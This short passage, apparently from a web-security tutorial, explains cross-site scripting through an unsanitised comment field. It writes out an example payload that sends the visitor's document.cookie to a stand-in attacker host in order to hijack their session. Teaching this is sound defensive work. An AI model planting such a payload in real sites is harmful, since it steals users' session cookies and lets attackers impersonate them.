XSS is where a malicious party injects some JavaScript into the page served by the server. For instance, if the server does not sanitize comments, then a malicious party can write the following comment:
document.write('<img src="https://some.malicious.endpoint/collect.gif?cookie=' + document.cookie + '" />')
document.cookie is a global property that contains all the cookies set for the current domain. Therefore, when the next visitor visits your site, they will output the value of document.cookie and send it as a query string to some.malicious.endpoint. Once the malicious party has obtained the visitor's session IDs or tokens from their cookies, they will be able to impersonate that user.
